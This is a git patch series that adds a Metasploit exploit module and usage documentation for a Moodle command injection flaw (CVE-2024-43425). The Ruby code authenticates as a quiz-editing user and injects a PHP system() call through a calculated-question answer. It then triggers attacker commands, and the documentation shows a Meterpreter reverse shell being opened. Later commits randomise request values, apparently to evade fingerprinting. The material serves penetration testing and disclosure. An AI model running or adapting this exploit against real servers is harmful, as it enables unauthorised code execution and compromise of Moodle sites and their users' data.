From 64123ab59909749249c0d9df34efe326f2559924 Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Thu, 29 Aug 2024 17:17:10 +0100 Subject: [PATCH 1/3] placeholder for CVE-2024-43425 placeholder for CVE-2024-43425 --- modules/exploits/linux/http/moodle_rce.rb | 1 + 1 file changed, 1 insertion(+) create mode 100644 modules/exploits/linux/http/moodle_rce.rb diff --git a/modules/exploits/linux/http/moodle_rce.rb b/modules/exploits/linux/http/moodle_rce.rb new file mode 100644 index 000000000000..8a7a67abb01e --- /dev/null +++ b/modules/exploits/linux/http/moodle_rce.rb @@ -0,0 +1 @@ +Draft \ No newline at end of file From c82b8217a88dc948ccd3ac31e86bda89793c548c Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Sun, 1 Sep 2024 23:26:11 +0100 Subject: [PATCH 2/3] CVE-2024-6670 CVE-2024-6670 --- .../modules/exploit/linux/http/moodle_rce.md | 101 ++++++ modules/exploits/linux/http/moodle_rce.rb | 321 +++++++++++++++++- 2 files changed, 421 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/exploit/linux/http/moodle_rce.md diff --git a/documentation/modules/exploit/linux/http/moodle_rce.md b/documentation/modules/exploit/linux/http/moodle_rce.md new file mode 100644 index 000000000000..0f53153ebb09 --- /dev/null +++ b/documentation/modules/exploit/linux/http/moodle_rce.md @@ -0,0 +1,101 @@ +## Vulnerable Application + +This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution. +By default, the application will run in the context of www-data, so only a limited shell can be obtained. + +Valid credentials are required to exploit this vulnerability. Moreover, the user must be authorized to either add a new or modify an +existing quiz, in order to reach the vulnerable function and trigger the bug. User roles that fall into this category include +`Teacher` and `Administrator`, but might differ depending on the specific deployment and configuration. + +Affected versions include: +* 4.4 to 4.4.1 +* 4.3 to 4.3.5 +* 4.2 to 4.2.8 +* 4.1 to 4.1.11 + +Moodle published an advisory [here](https://moodle.org/mod/forum/discuss.php?d=461193). + +The original advisory is available [here](https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/), and a more detailed writeup is +available [here](https://blog.redteam-pentesting.de/2024/moodle-rce/). + +## Testing + +Legacy releases from Moodle can be obtained from [here](https://download.moodle.org/releases/legacy/). +An installation guide is available [here](https://docs.moodle.org/404/en/Step-by-step_Installation_Guide_for_Ubuntu). + +**Successfully tested on** + +- Moodle v4.4.1 on Ubuntu 20.04 LTS + +## Verification Steps + +1. Deploy Moodle +2. Start `msfconsole` +3. `use exploit/linux/http/moodle_rce` +4. `set USERNAME ` +5. `set PASSWORD ` +6. `set CMID ` +7. `set COURSEID ` +8. `set RHOSTS ` +9. `set LHOST ` +10. `exploit` + +## Options + +### USERNAME +The username to authenticate with in Moodle. + +### PASSWORD +The password for the user. + +### CMID +The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course +(e.g., IP>/moodle/mod/quiz/edit.php?cmid=4). + +### COURSEID +The course ID. Can be retrieved from the URL when the course is selected (e.g., /moodle/course/view.php?id=3). + +## Scenarios + +Running the module against Moodle v4.4.1 should result in an output similar to the following: + +``` +msf6 > use exploit/linux/http/moodle_rce +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/moodle_rce) > set USERNAME testuser +USERNAME => testuser +msf6 exploit(linux/http/moodle_rce) > set PASSWORD iusldbf843498fKJASD +PASSWORD => iusldbf843498fKJASD +msf6 exploit(linux/http/moodle_rce) > set CMID 2 +CMID => 2 +msf6 exploit(linux/http/moodle_rce) > set COURSEID 2 +COURSEID => 2 +msf6 exploit(linux/http/moodle_rce) > set RHOSTS 192.168.217.141 +RHOSTS => 192.168.217.141 +msf6 exploit(linux/http/moodle_rce) > set LHOST 192.168.217.128 +LHOST => 192.168.217.128 +msf6 auxiliary(exploit/linux/http/moodle_rce) > exploit +[*] Started reverse TCP handler on 192.168.217.128:4444 +[*] Obtaining MoodleSession and logintoken... +[+] Server reachable. +[*] Authenticating as testuser... +[*] Successfully authenticated. +[*] Obtaining sesskey, courseContextId, and category... +[*] Injecting command... +[*] Sending stage (3045380 bytes) to 192.168.217.141 +[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.141:37152) at 2024-09-01 18:19:44 -0400 +[-] Exploit aborted due to failure: unreachable: Failed to receive a reply from the server. +[*] Exploit completed, but no session was created. +msf6 exploit(linux/http/moodle_rce) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : 192.168.217.141 +OS : Ubuntu 24.04 (Linux 6.8.0-41-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux + +meterpreter > getuid +Server username: www-data +``` diff --git a/modules/exploits/linux/http/moodle_rce.rb b/modules/exploits/linux/http/moodle_rce.rb index 8a7a67abb01e..32bfbe7f7fa2 100644 --- a/modules/exploits/linux/http/moodle_rce.rb +++ b/modules/exploits/linux/http/moodle_rce.rb @@ -1 +1,320 @@ -Draft \ No newline at end of file +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Moodle Remote Code Execution (CVE-2024-43425)', + 'Description' => %q{ + This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.. + Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11 and earlier unsupported versions. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Michael Heinzl', # MSF Module + 'RedTeam Pentesting GmbH', # Discovery and PoC + ], + 'References' => [ + [ 'URL', 'https://blog.redteam-pentesting.de/2024/moodle-rce/'], + [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/'], + [ 'URL', 'https://moodle.org/mod/forum/discuss.php?d=461193'], + [ 'CVE', '2024-43425'] + ], + 'DisclosureDate' => '2024-08-27', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_CMD ], + 'Targets' => [ + [ + 'Linux Command', + { + 'Arch' => [ ARCH_CMD ], + 'Platform' => [ 'linux' ], + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + 'Type' => :unix_cmd + } + ] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [EVENT_DEPENDENT], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('USERNAME', [true, 'Username to authenticate to the system. Needs to be allowed to add questions to a quiz.']), + OptString.new('PASSWORD', [true, 'Password for the user']), + OptString.new('COURSEID', [true, 'The course ID. Can be retrieved from the URL when the course is selected (e.g., /moodle/course/view.php?id=3)']), + OptString.new('CMID', [true, 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., /moodle/mod/quiz/edit.php?cmid=4)']), + OptString.new('TARGETURI', [ true, 'The URI for the Moodle web interface', '/']) + ] + ) + end + + def exploit + execute_command(payload.encoded) + end + + def execute_command(cmd) + print_status('Obtaining MoodleSession and logintoken...') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php?loginredirect=1') + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') + end + print_good('Server reachable.') + + moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0] + fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession + vprint_status("MoodleSession: #{moodlesession}") + + html = res.get_html_document + logintoken = html.to_s.match(/name="logintoken" value="([^"]+)"/)[1] + + unless logintoken + fail_with(Failure::UnexpectedReply, 'logintoken not found.') + end + vprint_status("logintoken: #{logintoken}") + + print_status("Authenticating as #{datastore['USERNAME']}...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php'), + 'headers' => { + 'Cookie' => "MoodleSession=#{moodlesession}" + }, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'anchor' => nil, + 'logintoken' => logintoken, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0] + fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession + vprint_status("MoodleSession: #{moodlesession}") + + html = res.get_html_document + + moodleid1 = res.get_cookies.scan(/MOODLEID1_=([^;]+)/).flatten[1] + fail_with(Failure::UnexpectedReply, 'MOODLEID1_ not found.') unless moodleid1 + vprint_status("MOODLEID1_: #{moodleid1}") + + unless res.code == 303 && html.to_s.include?('index.php?testsession=') + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') + end + print_status('Successfully authenticated.') + + testsession = html.to_s.match(/index\.php\?testsession=(\d+)/)[1] + vprint_status("testsession: #{testsession}") + + res = send_request_cgi( + 'method' => 'GET', + 'headers' => { + 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" + }, + 'uri' => normalize_uri(target_uri.path, "moodle/login/index.php?testsession=#{testsession}") + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + unless res.code == 303 && (html.to_s.include?('/my') || html.to_s.include?('/moodle/')) + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') + end + + print_status('Obtaining sesskey, courseContextId, and category...') + vprint_status('Obtaining sesskey...') + res = send_request_cgi( + 'method' => 'GET', + 'headers' => { + 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" + }, + 'uri' => normalize_uri(target_uri.path, "moodle/mod/quiz/edit.php?cmid=#{datastore['CMID']}") # get dynamically later + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') + end + + html = res.get_html_document + sesskey = html.to_s.match(/"sesskey":"([^"]+)"/)[1] + + unless sesskey + fail_with(Failure::UnexpectedReply, 'sesskey not found.') + end + vprint_status("sesskey: #{sesskey}") + + course_context_id = html.to_s.match(/"courseContextId":(\d+)/)[1] + + unless course_context_id + fail_with(Failure::UnexpectedReply, 'courseContextId not found.') + end + + vprint_status("courseContextId: #{course_context_id}") + + category = html.to_s.match(/;category=(\d+)/)[1] + + unless category + fail_with(Failure::UnexpectedReply, 'category not found.') + end + + vprint_status("category: #{category}") + + print_status('Injecting command...') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php'), + 'headers' => { + 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" + }, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'initialcategory' => '1', + 'reload' => '1', + 'shuffleanswers' => '1', + 'answernumbering' => 'abc', + 'mform_isexpanded_id_answerhdr' => '1', + 'noanswers' => '1', + 'nounits' => '1', + 'numhints' => '2', + 'synchronize' => nil, + 'wizard' => 'datasetdefinitions', + 'id' => nil, + 'inpopup' => '0', + 'cmid' => datastore['CMID'].to_s, + 'courseid' => datastore['COURSEID'].to_s, + 'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0", + 'mdlscrollto' => '0', + 'appendqnumstring' => 'addquestion', + 'qtype' => 'calculated', + 'makecopy' => '0', + 'sesskey' => sesskey.to_s, + '_qf__qtype_calculated_edit_form' => '1', + 'mform_isexpanded_id_generalheader' => '1', + 'mform_isexpanded_id_unithandling' => '0', + 'mform_isexpanded_id_unithdr' => '0', + 'mform_isexpanded_id_multitriesheader' => '0', + 'mform_isexpanded_id_tagsheader' => '0', + 'category' => "#{category},#{course_context_id}", + 'name' => 'XXXXXXXXXXXXXXXX', + 'questiontext[text]' => '

{b}

', + 'questiontext[format]' => '1', + 'questiontext[itemid]' => '424815274', + 'status' => 'ready', + 'defaultmark' => '1', + 'generalfeedback[text]' => nil, + 'generalfeedback[format]' => '1', + 'generalfeedback[itemid]' => '940093981', + 'idnumber' => nil, + 'answer[0]' => '(1)->{system($_GET[chr(97)])}', + 'fraction[0]' => '1.0', + 'tolerance[0]' => '0.01', + 'tolerancetype[0]' => '1', + 'correctanswerlength[0]' => '2', + 'correctanswerformat[0]' => '1', + 'feedback[0][text]' => nil, + 'feedback[0][format]' => '1', + 'feedback[0][itemid]' => '738798744', + 'unitrole' => '3', + 'penalty' => '0.3333333', + 'hint[0][text]' => nil, + 'hint[0][format]' => '1', + 'hint[0][itemid]' => '562446571', + 'hint[1][text]' => nil, + 'hint[1][format]' => '1', + 'hint[1][itemid]' => '161675382', + 'tags' => '_qf__force_multiselect_submission', + 'submitbutton' => 'Save+changes' + } + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + html = res.get_html_document + + unless res.code == 303 && html.to_s.include?('question/bank/editquestion/question.php?qtype=calculated') + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') + end + + raw_res = res.to_s + id = raw_res.match(/&id=(\d+)/)[1] + vprint_status("id value: #{id}") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php?wizardnow=datasetdefinitions'), + 'headers' => { + 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" + }, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'id' => id.to_s, + 'inpopup' => '0', + 'cmid' => datastore['CMID'].to_s, + 'courseid' => datastore['COURSEID'].to_s, + 'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0", + 'mdlscrollto' => '0', + 'appendqnumstring' => 'addquestion', + 'category' => "#{category},#{course_context_id}", + 'wizard' => 'datasetitems', + 'sesskey' => sesskey.to_s, + '_qf__question_dataset_dependent_definitions_form' => '1', + 'dataset[0]' => '0', + 'dataset[1]' => '1-0-x', + 'synchronize' => '0', + 'submitbutton' => 'Next+page' + } + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + + html = res.get_html_document + + unless res.code == 303 && html.to_s.include?('question/bank/editquestion/') + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') + end + + cmd2 = URI.encode_www_form_component(cmd) + res = send_request_cgi( + 'method' => 'GET', + 'headers' => { + 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" + }, + 'uri' => normalize_uri(target_uri.path, "/moodle/question/bank/editquestion/question.php?id=#{id}&category=#{category}&cmid=#{datastore['CMID']}&courseid=#{datastore['COURSEID']}&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{datastore['CMID']}%26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{cmd2}") # get dynamically later + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') + end + end +end From afdddf2e431ef30a38c1f3de842df952584d5eb0 Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Wed, 13 Nov 2024 03:40:22 +0000 Subject: [PATCH 3/3] updated --- modules/exploits/linux/http/moodle_rce.rb | 116 +++++++--------------- 1 file changed, 37 insertions(+), 79 deletions(-) diff --git a/modules/exploits/linux/http/moodle_rce.rb b/modules/exploits/linux/http/moodle_rce.rb index 32bfbe7f7fa2..086a006ec075 100644 --- a/modules/exploits/linux/http/moodle_rce.rb +++ b/modules/exploits/linux/http/moodle_rce.rb @@ -8,8 +8,8 @@ def initialize(info = {}) info, 'Name' => 'Moodle Remote Code Execution (CVE-2024-43425)', 'Description' => %q{ - This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.. - Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11 and earlier unsupported versions. + This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution. + Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -50,8 +50,8 @@ def initialize(info = {}) Opt::RPORT(80), OptString.new('USERNAME', [true, 'Username to authenticate to the system. Needs to be allowed to add questions to a quiz.']), OptString.new('PASSWORD', [true, 'Password for the user']), - OptString.new('COURSEID', [true, 'The course ID. Can be retrieved from the URL when the course is selected (e.g., /moodle/course/view.php?id=3)']), - OptString.new('CMID', [true, 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., /moodle/mod/quiz/edit.php?cmid=4)']), + OptInt.new('COURSEID', [true, 'The course ID. Can be retrieved from the URL when the course is selected (e.g., /moodle/course/view.php?id=3)']), + OptInt.new('CMID', [true, 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., /moodle/mod/quiz/edit.php?cmid=4)']), OptString.new('TARGETURI', [ true, 'The URI for the Moodle web interface', '/']) ] ) @@ -69,13 +69,9 @@ def execute_command(cmd) 'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php?loginredirect=1') ) - unless res - fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') - end + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200 - unless res.code == 200 - fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') - end print_good('Server reachable.') moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0] @@ -84,10 +80,7 @@ def execute_command(cmd) html = res.get_html_document logintoken = html.to_s.match(/name="logintoken" value="([^"]+)"/)[1] - - unless logintoken - fail_with(Failure::UnexpectedReply, 'logintoken not found.') - end + fail_with(Failure::UnexpectedReply, 'logintoken not found.') unless logintoken vprint_status("logintoken: #{logintoken}") print_status("Authenticating as #{datastore['USERNAME']}...") @@ -95,7 +88,8 @@ def execute_command(cmd) 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php'), 'headers' => { - 'Cookie' => "MoodleSession=#{moodlesession}" + 'Cookie' => "MoodleSession=#{moodlesession}", + 'keep_cookies' => true }, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { @@ -106,25 +100,19 @@ def execute_command(cmd) } ) - unless res - fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') - end + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0] fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession vprint_status("MoodleSession: #{moodlesession}") - html = res.get_html_document - moodleid1 = res.get_cookies.scan(/MOODLEID1_=([^;]+)/).flatten[1] fail_with(Failure::UnexpectedReply, 'MOODLEID1_ not found.') unless moodleid1 vprint_status("MOODLEID1_: #{moodleid1}") - unless res.code == 303 && html.to_s.include?('index.php?testsession=') - fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') - end + html = res.get_html_document + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('index.php?testsession=') print_status('Successfully authenticated.') - testsession = html.to_s.match(/index\.php\?testsession=(\d+)/)[1] vprint_status("testsession: #{testsession}") @@ -136,13 +124,8 @@ def execute_command(cmd) 'uri' => normalize_uri(target_uri.path, "moodle/login/index.php?testsession=#{testsession}") ) - unless res - fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') - end - - unless res.code == 303 && (html.to_s.include?('/my') || html.to_s.include?('/moodle/')) - fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') - end + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && (html.to_s.include?('/my') || html.to_s.include?('/moodle/')) print_status('Obtaining sesskey, courseContextId, and category...') vprint_status('Obtaining sesskey...') @@ -151,39 +134,23 @@ def execute_command(cmd) 'headers' => { 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" }, - 'uri' => normalize_uri(target_uri.path, "moodle/mod/quiz/edit.php?cmid=#{datastore['CMID']}") # get dynamically later + 'uri' => normalize_uri(target_uri.path, "moodle/mod/quiz/edit.php?cmid=#{datastore['CMID']}") ) - unless res - fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') - end - - unless res.code == 200 - fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') - end + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200 html = res.get_html_document sesskey = html.to_s.match(/"sesskey":"([^"]+)"/)[1] - - unless sesskey - fail_with(Failure::UnexpectedReply, 'sesskey not found.') - end + fail_with(Failure::UnexpectedReply, 'sesskey not found.') unless sesskey vprint_status("sesskey: #{sesskey}") course_context_id = html.to_s.match(/"courseContextId":(\d+)/)[1] - - unless course_context_id - fail_with(Failure::UnexpectedReply, 'courseContextId not found.') - end - + fail_with(Failure::UnexpectedReply, 'courseContextId not found.') unless course_context_id vprint_status("courseContextId: #{course_context_id}") category = html.to_s.match(/;category=(\d+)/)[1] - - unless category - fail_with(Failure::UnexpectedReply, 'category not found.') - end - + fail_with(Failure::UnexpectedReply, 'category not found.') unless category vprint_status("category: #{category}") print_status('Injecting command...') @@ -222,15 +189,15 @@ def execute_command(cmd) 'mform_isexpanded_id_multitriesheader' => '0', 'mform_isexpanded_id_tagsheader' => '0', 'category' => "#{category},#{course_context_id}", - 'name' => 'XXXXXXXXXXXXXXXX', + 'name' => Rex::Text.rand_text_alpha(6..10), 'questiontext[text]' => '

{b}

', 'questiontext[format]' => '1', - 'questiontext[itemid]' => '424815274', + 'questiontext[itemid]' => rand(424810000..424819999), # '424815274', 'status' => 'ready', 'defaultmark' => '1', 'generalfeedback[text]' => nil, 'generalfeedback[format]' => '1', - 'generalfeedback[itemid]' => '940093981', + 'generalfeedback[itemid]' => rand(940090000..940099999), # '940093981', 'idnumber' => nil, 'answer[0]' => '(1)->{system($_GET[chr(97)])}', 'fraction[0]' => '1.0', @@ -240,32 +207,29 @@ def execute_command(cmd) 'correctanswerformat[0]' => '1', 'feedback[0][text]' => nil, 'feedback[0][format]' => '1', - 'feedback[0][itemid]' => '738798744', + 'feedback[0][itemid]' => rand(738790000..738799999), # '738798744', 'unitrole' => '3', - 'penalty' => '0.3333333', + 'penalty' => rand(0.1333333..0.7333333), # '0.3333333', 'hint[0][text]' => nil, 'hint[0][format]' => '1', - 'hint[0][itemid]' => '562446571', + 'hint[0][itemid]' => rand(562440000..562449999), # '562446571', 'hint[1][text]' => nil, 'hint[1][format]' => '1', - 'hint[1][itemid]' => '161675382', + 'hint[1][itemid]' => rand(161670000..161679999), # '161675382', 'tags' => '_qf__force_multiselect_submission', 'submitbutton' => 'Save+changes' } ) - unless res - fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') - end + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res html = res.get_html_document + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/question.php?qtype=calculated') - unless res.code == 303 && html.to_s.include?('question/bank/editquestion/question.php?qtype=calculated') - fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') - end - - raw_res = res.to_s - id = raw_res.match(/&id=(\d+)/)[1] + location_header = res.headers['Location'] + id = location_header && location_header.match(/&id=(\d+)/) + id = id[1] if id + fail_with(Failure::UnexpectedReply, 'ID not found.') unless id vprint_status("id value: #{id}") res = send_request_cgi( @@ -294,15 +258,11 @@ def execute_command(cmd) } ) - unless res - fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') - end + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res html = res.get_html_document - unless res.code == 303 && html.to_s.include?('question/bank/editquestion/') - fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') - end + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/') cmd2 = URI.encode_www_form_component(cmd) res = send_request_cgi( @@ -310,11 +270,9 @@ def execute_command(cmd) 'headers' => { 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" }, - 'uri' => normalize_uri(target_uri.path, "/moodle/question/bank/editquestion/question.php?id=#{id}&category=#{category}&cmid=#{datastore['CMID']}&courseid=#{datastore['COURSEID']}&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{datastore['CMID']}%26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{cmd2}") # get dynamically later + 'uri' => normalize_uri(target_uri.path, "/moodle/question/bank/editquestion/question.php?id=#{id}&category=#{category}&cmid=#{datastore['CMID']}&courseid=#{datastore['COURSEID']}&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{datastore['CMID']}%26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{cmd2}") ) - unless res - fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') - end + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res end end